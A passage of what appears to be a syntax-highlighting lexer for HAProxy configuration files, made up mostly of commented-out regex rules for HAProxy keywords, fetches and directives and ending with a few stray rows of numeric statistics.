# (r'(\,|[\t ])(type|string|size|store|http_req_rate|http_req_cnt)', bygroups(Text, Name.Function)),
#
# (r'([\t ])(SSLv3|TLSv1.0|TLSv1\.1|TLSv1\.2|TLSv1\.3)', bygroups(Text, Literal)),
# (r'([\t ])(conn-failure|empty-response|junk-response|response-timeout|0rtt-rejected|except|nbsrv)', bygroups(Text, Name.Attribute)),
#
# # Converter functions
# (r'(\,|[\t ])(51d\.single|add|aes_gcm_dec|and|bytes|concat|crc32|crc32c|da-csv-conv|debug|div|djb2|field|http_date|in_table|json|language|ltime|map|mod|mul|or|protobuf|regsub|capture-req|capture-res|sdbm|sha2|strcmp|sub|table_bytes_in_rate|table_bytes_out_rate|table_conn_cnt|table_conn_cur|table_conn_rate|table_gpt0|table_gpc0|table_gpc0_rate|table_gpc1|table_gpc1_rate|table_http_err_cnt|table_http_err_rate|table_http_req_cnt|table_http_req_rate|table_kbytes_in|table_kbytes_out|table_server_id|table_sess_cnt|table_sess_rate|table_trackers|url_dec|ungrpc|utime|word|wt6|xor|xxh32|xxh64)([\(|\s])', bygroups(Text, Name.Function, Text)),
# # Converters
# (r'(\,|[\t ])(b64dec|base64|bool|cpl|even|hex|hex2i|length|lower|nbsrv|neg|not|odd|sha1|srv_queue|upper)', bygroups(Text, Name.Function)),
#
# # Fetches internal states functions
# (r'(\,|[\t ])(avg_queue|be_conn|be_conn_free|be_sess_rate|bin|bool|connslots|date|distcc_body|distcc_param|env|fe_conn|fe_req_rate|fe_sess_rate|int|ipv4|ipv6|meth|nbsrv|queue|rand|uuid|srv_conn|srv_conn_free|srv_is_up|srv_queue|srv_sess_rate|str|table_avl|table_cnt|var)([\(|\s])', bygroups(Text, Name.Function, Text)),
# # Fetches internal states
# (r'(\,|[\t ])(always_false|always_true|cpu_calls|cpu_ns_avg|cpu_ns_tot|date_us|hostname|lat_ns_avg|lat_ns_tot|nbproc|prio_class|prio_offset|proc|stopping|thread)', bygroups(Text, Name.Function)),
#
# # Fetching samples at Layer 4 functions
# (r'(\,|[\t ])(fc_rtt|fc_rttvar|sc_bytes_in_rate|sc0_bytes_in_rate|sc1_bytes_in_rate|sc2_bytes_in_rate|sc_bytes_out_rate|sc0_bytes_out_rate|sc1_bytes_out_rate|sc2_bytes_out_rate|sc_clr_gpc0|sc0_clr_gpc0|sc1_clr_gpc0|sc2_clr_gpc0|sc_clr_gpc1|sc0_clr_gpc1|sc1_clr_gpc1|sc2_clr_gpc1|sc_conn_cnt|sc0_conn_cnt|sc1_conn_cnt|sc2_conn_cnt|sc_conn_cur|sc0_conn_cur|sc1_conn_cur|sc2_conn_cur|sc_conn_rate|sc0_conn_rate|sc1_conn_rate|sc2_conn_rate|sc_get_gpc0|sc0_get_gpc0|sc1_get_gpc0|sc2_get_gpc0|sc_get_gpc1|sc0_get_gpc1|sc1_get_gpc1|sc2_get_gpc1|sc_get_gpt0|sc0_get_gpt0|sc1_get_gpt0|sc2_get_gpt0|sc_gpc0_rate|sc0_gpc0_rate|sc1_gpc0_rate|sc2_gpc0_rate|sc_gpc1_rate|sc0_gpc1_rate|sc1_gpc1_rate|sc2_gpc1_rate|sc_http_err_cnt|sc0_http_err_cnt|sc1_http_err_cnt|sc2_http_err_cnt|sc_http_err_rate|sc0_http_err_rate|sc1_http_err_rate|sc2_http_err_rate|sc_http_req_cnt|sc0_http_req_cnt|sc1_http_req_cnt|sc2_http_req_cnt|sc_http_req_rate|sc0_http_req_rate|sc1_http_req_rate|sc2_http_req_rate|sc_inc_gpc0|sc0_inc_gpc0|sc1_inc_gpc0|sc2_inc_gpc0|sc_inc_gpc1|sc0_inc_gpc1|sc1_inc_gpc1|sc2_inc_gpc1|sc_kbytes_in|sc0_kbytes_in|sc1_kbytes_in|sc2_kbytes_in|sc_kbytes_out|sc0_kbytes_out|sc1_kbytes_out|sc2_kbytes_out|sc_sess_cnt|sc0_sess_cnt|sc1_sess_cnt|sc2_sess_cnt|sc_sess_rate|sc0_sess_rate|sc1_sess_rate|sc2_sess_rate|sc_tracked|sc0_tracked|sc1_tracked|sc2_tracked|sc_trackers|sc0_trackers|sc1_trackers|sc2_trackers|src_bytes_in_rate|src_bytes_out_rate|src_clr_gpc0|src_clr_gpc1|src_conn_cnt|src_conn_cur|src_conn_rate|src_get_gpc0|src_get_gpc1|src_get_gpt0|src_gpc0_rate|src_gpc1_rate|src_http_err_cnt|src_http_err_rate|src_http_req_cnt|src_http_req_rate|src_inc_gpc0|src_inc_gpc1|src_kbytes_in|src_kbytes_out|src_sess_cnt|src_sess_rate|src_updt_conn_cnt)([\(|\s])', bygroups(Text, Name.Function, Text)),
#
# # Fetching samples at Layer 4
# (r'(\,|[\t ])(bc_http_major|be_id|be_name|dst|dst_conn|dst_is_local|dst_port|fc_http_major|fc_pp_authority|fc_rcvd_proxy|fc_unacked|fc_sacked|fc_retrans|fc_fackets|fc_lost|fc_reordering|fe_defbe|fe_id|fe_name|so_id|so_name|src|src_is_local|src_port|srv_id|srv_name)', bygroups(Text, Name.Function)),
#
# # Fetching samples at Layer 5 functions
# (r'(\,|[\t ])(51d\.all|ssl_c_i_dn|ssl_c_s_dn|ssl_f_i_dn|ssl_f_s_dn)([\(|\s])', bygroups(Text, Name.Function, Text)),
#
# # Fetching samples at Layer 5
# (r'(\,|[\t ])(ssl_bc_alg_keysize|ssl_bc_alpn|ssl_bc_cipher|ssl_bc_client_random|ssl_bc_is_resumed|ssl_bc_npn|ssl_bc_protocol|ssl_bc_unique_id|ssl_bc_server_random|ssl_bc_session_id|ssl_bc_session_key|ssl_bc_use_keysize|ssl_bc|ssl_c_ca_err|ssl_c_ca_err_depth|ssl_c_der|ssl_c_err|ssl_c_key_alg|ssl_c_notafter|ssl_c_notbefore|ssl_c_serial|ssl_c_sha1|ssl_c_sig_alg|ssl_c_used|ssl_c_verify|ssl_c_version|ssl_f_der|ssl_f_key_alg|ssl_f_notafter|ssl_f_notbefore|ssl_f_serial|ssl_f_sha1|ssl_f_sig_alg|ssl_f_version|ssl_fc_alg_keysize|ssl_fc_alpn|ssl_fc_cipherlist_bin|ssl_fc_cipherlist_hex|ssl_fc_cipherlist_str|ssl_fc_cipherlist_xxh|ssl_fc_cipher|ssl_fc_client_random|ssl_fc_has_crt|ssl_fc_has_early|ssl_fc_has_sni|ssl_fc_is_resumed|ssl_fc_npn|ssl_fc_protocol|ssl_fc_unique_id|ssl_fc_server_random|ssl_fc_session_id|ssl_fc_session_key|ssl_fc_sni|ssl_fc_use_keysize|ssl_fc)', bygroups(Text, Name.Function)),
#
# # Fetching samples from buffer contents (Layer 6) functions
# (r'(\,|[\t ])(payload_lv|payload|req\.payload|req\.payload_lv|req\.rdp_cookie|rdp_cookie|req\.rdp_cookie_cnt|rdp_cookie_cnt|res\.payload_lv|res\.payload)([\(|\s])', bygroups(Text, Name.Function, Text)),
#
# # Fetching samples from buffer contents (Layer 6)
# (r'(\,|[\t ])(req\.hdrs_bin|req\.hdrs|req\.len|req\.proto_http|req\.ssl_alpn|req\.ssl_ec_ext|req\.ssl_hello_type|req\.ssl_sni|req\.ssl_st_ext|req\.ssl_ver|res\.len|res\.ssl_hello_type|wait_end|req_proto_http|req_ssl_hello_type|req_ssl_sni|req_ssl_ver|rep_ssl_hello_type|req_len)', bygroups(Text, Name.Function)),
#
#
# # Fetching HTTP samples (Layer 7) functions
# (r'(\,|[\t ])(capture\.req\.hdr|capture\.res\.hdr|req\.body_param|req\.cook|cook|req\.cook_cnt|cook_cnt|req\.cook_val|cook_val|cookie|hdr|req\.fhdr|req\.fhdr_cnt|req\.hdr|req\.hdr_cnt|hdr_cnt|req\.hdr_ip|hdr_ip|req\.hdr_val|hdr_val|http_auth|http_auth_group|req\.hdr_names|res\.cook|scook|res\.cook_cnt|scook_cnt|res\.cook_val|scook_val|res\.fhdr|res\.fhdr_cnt|res\.hdr|shdr|res\.hdr_cnt|shdr_cnt|res\.hdr_ip|shdr_ip|res\.hdr_names|res\.hdr_val|shdr_val|urlp|url_param|urlp_val|set-cookie)([\(|\s])', bygroups(Text, Name.Function, Text)),
# #
#
# # Fetching HTTP samples (Layer 7)
# (r'(\,|[\t ])(base32\+src|base32|base|capture\.req\.method|capture\.req\.uri|capture\.req\.ver|capture\.res\.ver|req\.body|req\.body_len|req\.body_size|http_auth_pass|http_auth_type|http_auth_user|http_first_req|method|path|query|req\.ver|req_ver|res\.comp|res\.comp_algo|res\.ver|resp_ver|status|unique-id|url|url_ip|url_port|url32|url32+src)', bygroups(Text, Name.Function)),
#
# # Fetching samples for developers Functions
# (r'(\,|[\t ])(internal\.htx_blk\.size|internal\.htx_blk\.type|internal\.htx_blk\.data|internal\.htx_blk\.hdrname|internal\.htx_blk\.hdrval|internal\.htx_blk\.start_line)([\(|\s])', bygroups(Text, Name.Function, Text)),
#
# # Fetching samples for developers
# (r'(\,|[\t ])(internal\.htx\.data|internal\.htx\.free|internal\.htx\.free_data|internal\.htx\.has_eom|internal\.htx\.nbblks|internal\.htx\.size|internal\.htx\.used|internal\.strm\.is_htx)', bygroups(Text, Name.Function)),
#
#
#
#
# # ACL Predefined functions
# (r'(\,|[\t ])(FALSE|HTTP_1\.0|HTTP_1\.1|HTTP_CONTENT|HTTP_URL_ABS|HTTP_URL_SLASH|HTTP_URL_STAR|HTTP|LOCALHOST|METH_CONNECT|METH_DELETE|METH_GET|METH_HEAD|METH_OPTIONS|METH_POST|METH_PUT|METH_TRACE|RDP_COOKIE|REQ_CONTENT|TRUE|WAIT_END)', bygroups(Text, Name.Attribute)),
#
# # ACL conditionals
# (r'(\s)(if|unless)(\s+)([a-zA-Z0-9_-]+|!\s?[a-zA-Z0-9_-]+)', bygroups(Text, Operator.Word, Text, Name.Variable)),
# (r'\b(if|unless)\b', Operator.Word),
# # Logical operators
# (r'(\s+)(lt|gt|or|\|\||!)', bygroups(Text, Operator.Word)),
#
# # Numbers
# # also optional letter supported, like '100s'
# (r'(\s)([0-9]+)(?=[\t \n])', bygroups(Text, Number)),
# (r'(\s)([0-9]+)(ms|s|m|h|w|y)', bygroups(Text, Number, Number)),
# # IP address/subnet
# # ([\t ]|,)[0-9]+(?:\.[0-9]+){3}(\/[0-9]+)?
# (r'([\t ]|,)([0-9]+(?:\.[0-9]+){3})(\/[0-9]+)?', bygroups(Text, Number, Number)),
# # IP address:port
#
# (r'([\t ]|,)([0-9]+(?:\.[0-9]+){3})(:[0-9]+)?', bygroups(Text, Number, Number)),
#
# # Ports only
# (r'([\.:][0-9]+)', Number),
# # Path
# (r'(\s)(\/\S+)', bygroups(Text, String)),
# # Urls
# (r'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+', String),
# # # Curly Braces
# # (r'({)(.*?)(})', bygroups(String, Text, String)),
# # Strings
# (r'(\".*?\")', bygroups(String.Double)),
# # Main sections
# (r'^(dynamic-update|fcgi-app|backend|cache|defaults|frontend|global|listen|mailers|peers|program|resolvers|ruleset|userlist)(\s?)$', bygroups(Name.Namespace, Text)),
# (r'^(dynamic-update|fcgi-app|backend|cache|defaults|frontend|global|listen|mailers|peers|program|resolvers|ruleset|userlist)(\s?)(.*)$', bygroups(Name.Namespace, Text, Generic.Heading)),
# # manual fixes (ordering)
# (r'^([\t ]+)(log-stderr|docroot|index)', bygroups(Text, Keyword.Reserved)),
# # no option
# (r'^([\t ]+)(no)(\s+)(option)(\s+)(abortonclose|accept-invalid-http-request|accept-invalid-http-response|allbackups|checkcache|clitcpka|contstats|dontlog-normal|dontlognull|h1-case-adjust-bogus-client|h1-case-adjust-bogus-server|http-buffer-request|http-ignore-probes|http-keep-alive|http-no-delay|http-pretend-keepalive|http-server-close|http-use-proxy-header|httpclose|http_proxy|independent-streams|log-separate-errors|logasap|nolinger|persist|prefer-last-server|redispatch|socket-stats|splice-auto|splice-request|splice-response|srvtcpka|tcp-smart-accept|tcp-smart-connect|transparent)', bygroups(Text, Keyword.Reserved, Text, Keyword.Reserved, Text, Name.Attribute)),
# # option
# (r'^([\t ]+)(option)(\s+)(abortonclose|accept-invalid-http-request|accept-invalid-http-response|allbackups|checkcache|clitcpka|contstats|dontlog-normal|dontlognull|forwardfor|h1-case-adjust-bogus-client|h1-case-adjust-bogus-server|http-buffer-request|http-ignore-probes|http-keep-alive|http-no-delay|http-pretend-keepalive|http-server-close|http-use-proxy-header|httpchk|httpclose|httplog|http_proxy|independent-streams|ldap-check|external-check|no\s+log-health-checks|log-health-checks|log-separate-errors|logasap|mysql-check|nolinger|originalto|persist|pgsql-check|smtp-check|prefer-last-server|redispatch|redis-check|smtpchk|socket-stats|splice-auto|splice-request|splice-response|spop-check|srvtcpka|ssl-hello-chk|tcp-check|tcp-smart-accept|tcp-smart-connect|tcpka|tcplog|transparent)', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# # http-response
# (r'^([\t ]+)(http-response)(\s+)(add-acl|add-header|allow|cache-store|capture|del-acl|del-header|del-map|deny|redirect|replace-header|replace-value|return|sc-inc-gpc0|sc-inc-gpc1|sc-set-gpt0|send-spoe-group|set-header|set-log-level|set-map|set-mark|set-nice|set-status|set-tos|set-var|silent-drop|strict-mode|track-sc0|track-sc1|track-sc2|unset-var)', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# # http-request
# (r'^([\t ]+)(http-request)(\s+)(add-acl|add-header|allow|auth|cache-use|capture|del-acl|del-header|del-map|deny|disable-l7-retry|do-resolve|early-hint|redirect|reject|replace-header|replace-path|replace-uri|replace-value|return|sc-inc-gpc0|sc-inc-gpc1|sc-set-gpt0|set-dst-port|set-dst|set-header|set-log-level|set-map|set-mark|set-method|set-nice|set-path|set-priority-class|set-priority-offset|set-query|set-src-port|set-src|set-tos|set-uri|set-var|send-spoe-group|silent-drop|strict-mode|tarpit|track-sc0|track-sc2|track-sc3|unset-var|use-service|wait-for-handshake)', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# # tcp-check
# (r'^([\t ]+)(tcp-check)(\s+)(send-binary|expect|send|comment|connect)', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# # mailers
# (r'^([\t ]+)(mailer)(\s+)([a-zA-Z0-9\_\-\.\:]+)', bygroups(Text, Keyword.Reserved, Text, Name.Variable)),
# # mailers
# (r'^([\t ]+)(mailer)', bygroups(Text, Keyword.Reserved)),
# (r'^([\t ]+)(email-alert)(\s+)(mailers|level|from|to)', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# # compression
# (r'^([\t ]+)(compression)(\s+)(algo|offload|type)', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# # stats
# (r'^([\t ]+)(stats)(\s+)(admin|auth|enable|hide-version|http-request|realm|refresh|scope|show-desc|show-legends|show-node|uri|socket|bind-process|timeout)', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# # mode
# (r'^([\t ]+)(mode)(\s+)(http|tcp|health)', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# # hold
# (r'^([\t ]+)(hold)(\s+)(other|refused|nx|timeout|valid|obsolete)', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# # timeout
# (r'^([\t ]+)(timeout)(\s+)(check|client-fin|client|connect|http-keep-alive|http-request|queue|server-fin|server|tarpit|tunnel)', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# # timeout Resolvers
# (r'^([\t ]+)(timeout)(\s+)(resolve|retry)', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# # balance
# (r'^([\t ]+)(balance)(\s+)(roundrobin|static-rr|leastconn|first|source|uri|queue|server-fin|server|tarpit|tunnel)', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# # user/group
# (r'^([\t ]+)(user|group)(\s+)([a-z_][a-z0-9_-]{0,31}|[a-z0-9_-]{0,30}\$)', bygroups(Text, Keyword.Reserved, Text, String)),
# # server
# (r'^([\t ]+)(server)(\s+)([a-z_][a-z0-9_-]{0,31}|[a-z0-9_-]{0,30}\$)', bygroups(Text, Keyword.Reserved, Text, Name.Variable)),
# # use-fcgi-app
# (r'^([\t ]+)(use-fcgi-app)(\s+)([a-z_][a-z0-9_-]{0,31}|[a-z0-9_-]{0,30}\$)', bygroups(Text, Keyword.Reserved, Text, Name.Variable)),
# # default_backend
# (r'^([\t ]+)(default_backend)(\s+)([a-z_][a-z0-9_-]{0,31}|[a-z0-9_-]{0,30}\$)', bygroups(Text, Keyword.Reserved, Text, String)),
# # use_backend
# (r'^([\t ]+)(use_backend)(\s+)([a-z_][a-z0-9_-]{0,31}|[a-z0-9_-]{0,30}\$)(\s+)(if)(\s+)([a-z_][a-z0-9_-]{0,31}|[a-z0-9_-]{0,30}\$)', bygroups(Text, Keyword.Reserved, Text, Name.Variable, Text, Name.Function, Text, Name.Variable)),
# (r'^([\t ]+)(use_backend)(\s+)([a-z_][a-z0-9_-]{0,31}|[a-z0-9_-]{0,30}\$)(\s+)', bygroups(Text, Keyword.Reserved, Text, Name.Variable, Text)),
# # description
# (r'^([\t ]+)(description)(\s+)(.*$)', bygroups(Text, Keyword.Reserved, Text, String)),
# # description
# (r'^([\t ]+)(use_backend)(\s+)([a-z_][a-z0-9_-]{0,31}|[a-z0-9_-]{0,30}\$)', bygroups(Text, Keyword.Reserved, Text, String)),
# # log
# (r'^([\t ]+)(log)(\s+)(stdout|stderr|global)', bygroups(Text, Keyword.Reserved, Text, Literal)),
# (r'^([\t ]+)(default-server)', bygroups(Text, Keyword.Reserved)),
# # max-mind
# (r'^([\t ]+)(maxmind-update)(\s+)(url|cache|update|show|status|force-update)', bygroups(Text, Keyword.Reserved, Text, Name.Attribute)),
# (r'^([\t ]+)(maxmind-cache-size|maxmind-debug|maxmind-load|maxmind-update)', bygroups(Text, Keyword.Reserved)),
# # net aquity
# (r'^([\t ]+)(netacuity-cache-size|netacuity-debug|netacuity-property-separator|netacuity-load|netacuity-update|netacuity-test-ipv4)', bygroups(Text, Keyword.Reserved)),
# # command
# (r'^([\t ]+)(command)', bygroups(Text, Keyword.Reserved)),
# # Global parameters
# (r'^([\s]+)(master-worker|ca-base|chroot|crt-base|cpu-map|daemon|description|deviceatlas-json-file|deviceatlas-log-level|deviceatlas-separator|deviceatlas-properties-cookie|external-check|gid|group|hard-stop-after|h1-case-adjust|h1-case-adjust-file|localpeer|log-format|log-tag|log-send-hostname|log|lua-load|lua-prepend-path|mworker-max-reloads|nbproc|nbthread|node|pidfile|presetenv|resetenv|uid|ulimit-n|user|set-dumpable|setenv|stats|ssl-default-bind-ciphers|ssl-default-bind-ciphersuites|ssl-default-bind-options|ssl-default-server-ciphers|ssl-default-server-ciphersuites|ssl-default-server-options|ssl-dh-param-file|ssl-server-verify|unix-bind|unsetenv|51degrees-update|51degrees-data-file|51degrees-property-name-list|51degrees-property-separator|51degrees-cache-size|wurfl-update|wurfl-data-file|wurfl-information-list|wurfl-information-list-separator|wurfl-cache-size|strict-limits|busy-polling|max-spread-checks|maxconn|maxconnrate|maxcomprate|maxcompcpuusage|maxpipes|maxsessrate|maxsslconn|maxsslrate|maxzlibmem|noepoll|nokqueue|noevports|nopoll|nosplice|nogetaddrinfo|noreuseport|profiling.tasks|spread-checks|server-state-base|server-state-file|ssl-engine|ssl-mode-async|tune.buffers.limit|tune.buffers.reserve|tune.bufsize|tune.chksize|tune.comp.maxlevel|tune.h2.header-table-size|tune.h2.initial-window-size|tune.h2.max-concurrent-streams|tune.http.cookielen|tune.http.logurilen|tune.http.maxhdr|tune.idletimer|tune.lua.forced-yield|tune.lua.maxmem|tune.lua.session-timeout|tune.lua.task-timeout|tune.lua.service-timeout|tune.maxaccept|tune.maxpollevents|tune.maxrewrite|tune.pattern.cache-size|tune.pipesize|tune.pool-high-fd-ratio|tune.pool-low-fd-ratio|tune.rcvbuf.client|tune.rcvbuf.server|tune.recv_enough|tune.runqueue-depth|tune.sndbuf.client|tune.sndbuf.server|tune.ssl.cachesize|tune.ssl.lifetime|tune.ssl.force-private-cache|tune.ssl.maxrecord|tune.ssl.default-dh-param|tune.ssl.ssl-ctx-cache-size|tune.ssl.capture-cipherlist-size|tune.vars.global-max-size|tune.vars.proc-max-size|tune.vars.reqres-max-size|tune.vars.sess-max-size|tune.vars.txn-max-size|tune.zlib.memlevel|tune.zlib.windowsize|debug|quiet|module-path|module-load|send-metrics-url|send-metrics-header|send-metrics-content-type|send-metrics-data|send-metrics-debug|update)', bygroups( Text, Keyword.Reserved)),
# (r'^([\t ]+)(acl)(\s+)([a-zA-Z0-9\_\-\.\:]+)', bygroups(Text, Keyword.Reserved, Text, Name.Variable)),
# (r'^([\t ]+)(acl|backlog|balance\s+url_param|balance|bind-process|bind|capture\s+cookie|capture\s+response\s+header|capture\s+request\s+header|capture|compression\s+algo|compression\s+type|compression\s+offload|compression|cookie|declare\s+capture|default-server|default_backend|description|disabled|dispatch|dynamic-cookie-key|email-alert\s+from|email-alert\s+level|email-alert\s+mailers|email-alert\s+myhostname|email-alert\s+to|email-alert|enabled|errorfile|errorfiles|errorloc302|errorloc303|errorloc|force-persist|filter|fullconn|grace|hash-balance-factor|hash-type|http-after-response\s+add-header|http-after-response\s+allow|http-after-response\s+del-header|http-after-response\s+replace-header|http-after-response\s+replace-value|http-after-response\s+set-header|http-after-response\s+set-status|http-after-response\s+set-var|http-after-response\s+strict-mode|http-after-response\s+unset-var|http-after-response|http-check\s+disable-on-404|http-check\s+expect|http-check\s+send-state|http-check\s+send|http-check|http-request\s+add-acl|http-request\s+add-header|http-request\s+allow|http-request\s+auth|http-request\s+cache-use|http-request\s+capture|http-request\s+del-acl|http-request\s+del-header|http-request\s+del-map|http-request\s+deny|http-request\s+disable-l7-retry|http-request\s+do-resolve|http-request\s+early-hint|http-request\s+redirect|http-request\s+reject|http-request\s+replace-header|http-request\s+replace-path|http-request\s+replace-uri|http-request\s+replace-value|http-request\s+return|http-request\s+sc-inc-gpc0|http-request\s+sc-inc-gpc1|http-request\s+sc-set-gpt0|http-request\s+set-dst-port|http-request\s+set-dst|http-request\s+set-header|http-request\s+set-log-level|http-request\s+set-map|http-request\s+set-mark|http-request\s+set-method|http-request\s+set-nice|http-request\s+set-path|http-request\s+set-priority-class|http-request\s+set-priority-offset|http-request\s+set-query|http-request\s+set-src-port|http-request\s+set-src|http-request\s+set-tos|http-request\s+set-uri|http-request\s+set-var|http-request\s+send-spoe-group|http-request\s+silent-drop|http-request\s+strict-mode|http-request\s+tarpit|http-request\s+track-sc0|http-request\s+track-sc2|http-request\s+track-sc3|http-request\s+unset-var|http-request\s+use-service|http-request\s+wait-for-handshake|http-request|http-response\s+add-acl|http-response\s+add-header|http-response\s+allow|http-response\s+cache-store|http-response\s+capture|http-response\s+del-acl|http-response\s+del-header|http-response\s+del-map|http-response\s+deny|http-response\s+redirect|http-response\s+replace-header|http-response\s+replace-value|http-response\s+return|http-response\s+sc-inc-gpc0|http-response\s+sc-inc-gpc1|http-response\s+sc-set-gpt0|http-response\s+send-spoe-group|http-response\s+set-header|http-response\s+set-log-level|http-response\s+set-map|http-response\s+set-mark|http-response\s+set-nice|http-response\s+set-status|http-response\s+set-tos|http-response\s+set-var|http-response\s+silent-drop|http-response\s+strict-mode|http-response\s+track-sc0|http-response\s+track-sc1|http-response\s+track-sc2|http-response\s+unset-var|http-response|http-reuse|http-send-name-header|id|ignore-persist|load-server-state-from-file|log-tag|log-format-sd|log-format|log\s+global|no\s+log|max-keep-alive-queue|max-session-srv-conns|maxconn|mode|monitor\s+fail|monitor-net|monitor-uri|no\s+option\s+abortonclose|option\s+abortonclose|no\s+option\s+accept-invalid-http-request|option\s+accept-invalid-http-request|no\s+option\s+accept-invalid-http-response|option\s+accept-invalid-http-response|no\s+option\s+allbackups|option\s+allbackups|no\s+option\s+checkcache|option\s+checkcache|no\s+option\s+clitcpka|option\s+clitcpka|no\s+option\s+contstats|option\s+contstats|no\s+option\s+dontlog-normal|option\s+dontlog-normal|no\s+option\s+dontlognull|option\s+dontlognull|option\s+forwardfor|no\s+option\s+h1-case-adjust-bogus-client|option\s+h1-case-adjust-bogus-client|no\s+option\s+h1-case-adjust-bogus-server|option\s+h1-case-adjust-bogus-server|no\s+option\s+http-buffer-request|option\s+http-buffer-request|no\s+option\s+http-ignore-probes|option\s+http-ignore-probes|no\s+option\s+http-keep-alive|option\s+http-keep-alive|no\s+option\s+http-no-delay|option\s+http-no-delay|no\s+option\s+http-pretend-keepalive|option\s+http-pretend-keepalive|no\s+option\s+http-server-close|option\s+http-server-close|no\s+option\s+http-use-proxy-header|option\s+http-use-proxy-header|option\s+httpchk|no\s+option\s+httpclose|option\s+httpclose|option\s+httplog|no\s+option\s+http_proxy|option\s+http_proxy|no\s+option\s+independent-streams|option\s+independent-streams|option\s+ldap-check|option\s+external-check|no\s+option\s+log-health-checks|option\s+log-health-checks|no\s+option\s+log-separate-errors|option\s+log-separate-errors|no\s+option\s+logasap|option\s+logasap|option\s+mysql-check|no\s+option\s+nolinger|option\s+nolinger|option\s+originalto|no\s+option\s+persist|option\s+persist|option\s+pgsql-check|no\s+option\s+prefer-last-server|option\s+prefer-last-server|no\s+option\s+redispatch|option\s+redispatch|option\s+redis-check|option\s+smtpchk|no\s+option\s+socket-stats|option\s+socket-stats|no\s+option\s+splice-auto|option\s+splice-auto|no\s+option\s+splice-request|option\s+splice-request|no\s+option\s+splice-response|option\s+splice-response|option\s+spop-check|no\s+option\s+srvtcpka|option\s+srvtcpka|option\s+ssl-hello-chk|option\s+tcp-check|no\s+option\s+tcp-smart-accept|option\s+tcp-smart-accept|no\s+option\s+tcp-smart-connect|option\s+tcp-smart-connect|option\s+tcpka|option\s+tcplog|no\s+option\s+transparent|option\s+transparent|no\s+option|option|external-check\s+command|external-check\s+path|external-check|persist\s+rdp-cookie|persist|rate-limit\s+sessions|rate-limit|redirect\s+location|redirect\s+prefix|redirect\s+scheme|redirect|retries|retry-on|server-state-file-name|server-template|server|source|stats\s+admin|stats\s+auth|stats\s+enable|stats\s+hide-version|stats\s+http-request|stats\s+realm|stats\s+refresh|stats\s+scope|stats\s+show-desc|stats\s+show-legends|stats\s+show-node|stats\s+uri|stats|stick\s+match|stick\s+on|stick\s+store-request|stick\s+store-response|stick|stick-table\s+type|stick-table|tcp-check\s+connect|tcp-check\s+expect|tcp-check\s+send|tcp-check\s+send-binary|tcp-check|tcp-request\s+connection|tcp-request\s+content|tcp-request\s+inspect-delay|tcp-request\s+session|tcp-request|tcp-response\s+content|tcp-response\s+inspect-delay|tcp-response|timeout\s+check|timeout\s+client|timeout\s+client-fin|timeout\s+connect|timeout\s+http-keep-alive|timeout\s+http-request|timeout\s+queue|timeout\s+server|timeout\s+server-fin|timeout\s+tarpit|timeout\s+tunnel|timeout|transparent|unique-id-format|unique-id-header|use_backend|use-fcgi-app|use-server|path-info|table)', bygroups(Text, Keyword.Reserved)),
# # cache
# (r'^([\t ]+)(total-max-size|max-age)', bygroups(Text, Keyword.Reserved)),
# # resolvers
# (r'^([\t ]+)(parse-resolv-conf|resolve_retries|nameserver|accepted_payload_size)', bygroups(Text, Keyword.Reserved)),
# # functions
# (r'(\s)(path_beg|path_dir|path_dom|path_end|path_len|path_reg|path_sub|path)(\s+)(\S+)(\s+)(})', bygroups(Text, Name.Function, Text, String, Text, Text)),
# (r'(\s)(path_beg|path_dir|path_dom|path_end|path_len|path_reg|path_sub|path)(\s+)(.+)$', bygroups(Text, Name.Function, Text, String)),
# (r'(\s)(path_beg|path_dir|path_dom|path_end|path_len|path_reg|path_sub|path)', bygroups(Text, Name.Function)),
# (r'(\s)(addr)', bygroups(Text, Name.Function)),
# (r'(\s)(verify|none|crt|tfo|check-ssl|check|alpn)', bygroups(Text, Name.Function)),
# (r'(\s)(accept-netscaler-cip|accept-proxy|allow-0rtt|alpn|backlog|ca-file|ca-ignore-err|ca-sign-file|ca-sign-pass|ciphers|ciphersuites|crl-file|crt|crt-ignore-err|crt-list|curves|defer-accept|ecdhe|expose-fd listeners|force-sslv3|force-tlsv10|force-tlsv11|force-tlsv12|force-tlsv13|generate-certificates|gid|group|id|interface|level|maxconn|mode|mss|namespace|name|nice|no-ca-names|no-sslv3|no-tls-tickets|no-tlsv10|no-tlsv11|no-tlsv12|no-tlsv13|npn|prefer-client-ciphers|process|proto|severity-output|ssl-max-ver|ssl-min-ver|ssl_fc|ssl|strict-sni|tcp-ut|tfo|tls-ticket-keys|transparent|uid|user|v4v6|v6only|verify)', bygroups(Text, Name.Function)),
# (r'(\s)(location|scheme|prefix|random)', bygroups(Text, Name.Function)),
# (r'(\s)(type|string|size|store|http_req_rate|http_req_cnt)', bygroups(Text, Name.Function)),
# (r'(\s)(SSLv3|TLSv1.0|TLSv1.1|TLSv1.2|TLSv1.3)', bygroups(Text, Literal)),
# (r'(\s)(conn-failure|empty-response|junk-response|response-timeout|0rtt-rejected|except|nbsrv)', bygroups(Text, Name.Function)),
# # ACL conditionals
# (r'\b(if|unless)\b', Name.Function),
# # Logical operators
# (r'\s+(or|\|\||!)\s+', Operator.Word),
# # Comment
# (r'#.*$', Comment.Singleline),
# # Numbers
# # also optional letter supported, like '100s'
# (r'(\s)([0-9]+)([\s?])', bygroups(Text, Number, Text)),
# (r'(\s)([0-9]+)([a-z])', bygroups(Text, Number, Number)),
# # IP address/subnet
# (r'\s[0-9]+(?:\.[0-9]+){3}(/[0-9]+)?', Number),
# # IP address:port
# (r'\s[0-9]+(?:\.[0-9]+){3}(:[0-9]+)?', Number),
# # Ports only
# (r'([\.:][0-9]+)', Number),
# (r'.', Text)
]
}
| 96.684
| 6,856
| 0.639485
| 10,134
| 72,513
| 4.480659
| 0.0821
| 0.058669
| 0.054397
| 0.074922
| 0.786487
